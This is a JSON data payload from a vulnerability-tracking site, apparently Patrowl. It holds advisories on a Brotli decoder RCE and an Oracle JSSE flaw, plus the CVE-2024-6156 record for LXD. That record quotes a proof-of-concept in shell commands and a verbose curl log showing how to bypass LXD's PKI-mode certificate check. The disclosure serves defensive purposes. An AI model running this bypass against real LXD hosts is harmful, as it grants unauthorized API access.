[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2024-6156":30,"landing-articles":81},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":45,"cwes":46,"cpes":48,"technologies":50,"references":52,"score":59,"epss_score":60,"epss_percentile":61,"is_kev":45,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":62,"attack_mappings":72,"exploits":79},56983,"CVE-2024-6156","EUVD-2024-3419","lxd CA certificate sign check bypass\n\n### Summary\nIf a `server.ca` file is present in `LXD_DIR` at LXD start up, LXD is in \"PKI mode\". In this mode, only TLS clients that have a CA-signed certificate should be able to authenticate with LXD.\n\nWe have discovered that if a client that sends a non-CA signed certificate during the TLS handshake, that client is able to authenticate with LXD if their certificate is present in the trust store.\n    - The LXD Go client (and by extension `lxc`) does not send non-CA signed certificates during the handshake.\n    - A manual client (e.g. `cURL`) might send a non-CA signed certificate during the handshake.\n\n#### Versions affected\nLXD 4.0 and above.\n\n### Details\nWhen PKI mode was added to LXD it was intended that all client and server certificates *must* be signed by the certificate authority (see https:\u002F\u002Fgithub.com\u002Fcanonical\u002Flxd\u002Fpull\u002F2070\u002Fcommits\u002F84d917bdcca6fe1e3191ce47f1597c7d094e1909). \n\nIn PKI mode, the TLS listener configuration is altered to add the CA certificate but the `ClientAuth` field of `tls.Config` is not changed. The `ClientAuth` field is set to `tls.RequestClientCert`, which configures the TLS connection to request a certificate from the client, but not require one. This is necessary because untrusted requests are allowed for some endpoints.\n\nIf a client certificate is present in the trust store before PKI mode is enabled, calls to LXD using that certificate fail *when using the Go client for LXD*. I believe that what is happening is as follows:\n- During the TLS handshake, the server requests a certificate from the client. The server includes in it's request a list of acceptable CAs.\n- The go client receives the request from the server, but does not have any certificates that match what the server requires, and so does not send any.\n- The server considers the handshake complete because it does not absolutely require the client certificate (see above).\n- In the `(*Daemon).Authenticate` method, when checking for TLS clients, there are no `PeerCertificates` in the request. So `util.CheckTrustState` is never called and the request is denied.\n\nImportantly, the above does not apply if the client sends a certificate during the handshake anyway. If this occurs and the certificate is present in the trust store, the request is trusted and is allowed to continue. It is possible to do this using cURL*.\n\n### PoC\nThe follow snippet demonstrates the vulnerability:\n\n```\n# Install\u002Finitialize LXD\n$ snap install lxd --channel 5.21\u002Fstable\n$ lxd init --auto\n$ lxc config set core.https_address=127.0.0.1:8443\n\n# Add a certificate to the trust store before enabling PKI.\n$ token=\"$(lxc config trust add --name ca-test --quiet)\"\n$ lxc remote add tls \"${token}\"\n\n# Use easyrsa for configuring CA: https:\u002F\u002Fgithub.com\u002FOpenVPN\u002Feasy-rsa\n$ cp -R \u002Fusr\u002Fshare\u002Feasy-rsa \"\u002Ftmp\u002Fpki\"\n$ export EASYRSA_KEY_SIZE=4096\n$ cd \u002Ftmp\u002Fpki\n$ .\u002Feasyrsa init-pki\n$ echo \"lxd\" | .\u002Feasyrsa build-ca nopass\n$ cp pki\u002Fca.crt \u002Fvar\u002Fsnap\u002Flxd\u002Fcommon\u002Flxd\u002Fserver.ca\n\n# Restart daemon.\n$ systemctl reload snap.lxd.daemon\n\n# Using curl with the client certificate we expect a 403 Forbidden response.\n# Instead we get a 200 OK and we are able to view the response body.\n$ cat ~\u002Fsnap\u002Flxd\u002Fcommon\u002Fconfig\u002Fclient.crt ~\u002Fsnap\u002Flxd\u002Fcommon\u002Fconfig\u002Fclient.key > ~\u002Fsnap\u002Flxd\u002Fcommon\u002Fconfig\u002Fclient.pem\n$ curl -s --cert ~\u002Fsnap\u002Flxd\u002Fcommon\u002Fconfig\u002Fclient.pem --cacert \u002Fvar\u002Fsnap\u002Flxd\u002Fcommon\u002Flxd\u002Fserver.crt https:\u002F\u002F127.0.0.1:8443\u002F1.0\" | jq '.metadata.config.\"core.https_address\"'\n```\n### Impact\n\nI believe this has a low impact for the following reasons:\n* PKI mode is unlikely to have a large user base.\n* PKI is likely to be configured at start up without any previous certificates in the trust store.\n* Authentication is not bypassed entirely, the client certificate must already be trusted.\n\n### Notes\n* I am not certain why cURL sends the certificate during the handshake but we can see it in the logs:\n```\n*   Trying 127.0.0.1:8443...\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Connected to 127.0.0.1 (127.0.0.1) port 8443 (#0)\n* ALPN, offering h2\n* ALPN, offering http\u002F1.1\n*  CAfile: \u002Fvar\u002Flib\u002Flxd\u002Fserver.crt\n*  CApath: \u002Fetc\u002Fssl\u002Fcerts\n* TLSv1.0 (OUT), TLS header, Certificate Status (22):\n} [5 bytes data]\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n} [512 bytes data]\n  0     0    0     0    0     0      0      0 --:--:--  0:00:03 --:--:--     0* TLSv1.2 (IN), TLS header, Certificate Status (22):\n{ [5 bytes data]\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n{ [122 bytes data]\n* TLSv1.2 (IN), TLS header, Finished (20):\n{ [5 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n{ [15 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n{ [69 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n{ [496 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n{ [111 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n{ [36 bytes data]\n* TLSv1.2 (OUT), TLS header, Finished (20):\n} [5 bytes data]\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n} [1 bytes data]\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):         \u003C\u003C\u003C\u003C\u003C\u003C\u003C\u003C\u003C HERE\n} [455 bytes data]\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n} [111 bytes data]\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n} [36 bytes data]\n* SSL connection using TLSv1.3 \u002F TLS_AES_128_GCM_SHA256\n* ALPN, server accepted to use h2\n* Server certificate:\n*  subject: O=LXD; CN=root@RUBIX\n*  start date: Apr  2 15:27:39 2024 GMT\n*  expire date: Mar 31 15:27:39 2034 GMT\n*  subjectAltName: host \"127.0.0.1\" matched cert's IP address!\n*  issuer: O=LXD; CN=root@RUBIX\n*  SSL certificate verify ok.\n* Using HTTP2, server supports multiplexing\n* Connection state changed (HTTP\u002F2 confirmed)\n* Copying HTTP\u002F2 data in stream buffer to connection buffer after upgrade: len=0\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n* Using Stream ID: 1 (easy handle 0x601ce9c4feb0)\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n> GET \u002F1.0 HTTP\u002F2\n> Host: 127.0.0.1:8443\n> user-agent: curl\u002F7.81.0\n> accept: *\u002F*\n> \n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n{ [569 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* Connection state changed (MAX_CONCURRENT_STREAMS == 250)!\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n\u003C HTTP\u002F2 200 \n\u003C content-type: application\u002Fjson\n\u003C etag: \"a1147bd1cd26e0b98e4c4400be3c17d5de3d865a045b6e609c6a8ee1aba8c1a1\"\n\u003C date: Mon, 17 Jun 2024 21:25:46 GMT\n\u003C \n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n100 11659    0 11659    0     0   3401      0 --:--:--  0:00:03 --:--:--  3402\n* Connection #0 to host 127.0.0.1 left intact\n```","2024-12-09T23:26:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":44,"attackComplexity":42,"availabilityImpact":44,"privilegesRequired":42,"confidentialityImpact":42},"CHANGED","3.1",3.8,"LOCAL","LOW","CVSS:3.1\u002FAV:L\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:N\u002FA:N","NONE",false,[47],"CWE-295",[49],"cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*",[51],"Canonical Lxd",[53,54,55,56,57,58],"https:\u002F\u002Fgithub.com\u002Fcanonical\u002Flxd\u002Fsecurity\u002Fadvisories\u002FGHSA-4c49-9fpc-hc3v","https:\u002F\u002Fwww.cve.org\u002FCVERecord?id=CVE-2024-6156","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2024-6156","https:\u002F\u002Fgithub.com\u002Fcanonical\u002Flxd\u002Fcommit\u002F92468bb60f4f1edf38ff0434414bea4f28afa711","https:\u002F\u002Fgithub.com\u002Fcanonical\u002Flxd","https:\u002F\u002Fpkg.go.dev\u002Fvuln\u002FGO-2024-3312",0.34,0.00159,0.0505,{"timestamp":63,"automatable":64,"tech_impact":65,"exploitation":66,"cisa_decision":67,"cisa_remediation_timeline":71},"2024-12-06T16:39:16.738252Z","no","partial","poc",{"vector":68,"decision":69,"priority":70},"CISAv1\u002FE:P\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-26T04:09:25.275844\u002F","track_star","medium","60D",[73],{"name":74,"source":75,"tactics":76,"technique_id":78},"Exploitation for Privilege Escalation","attack_vector",[77],"privilege-escalation","T1068",[80],{"link":53},{"count":82,"next":83,"previous":6,"results":84},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[85,93,101],{"id":86,"title":87,"summary":88,"published_at":89,"type":90,"link":91,"image_url":92},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":94,"title":95,"summary":96,"published_at":97,"type":98,"link":99,"image_url":100},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":102,"title":103,"summary":104,"published_at":105,"type":106,"link":107,"image_url":108},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]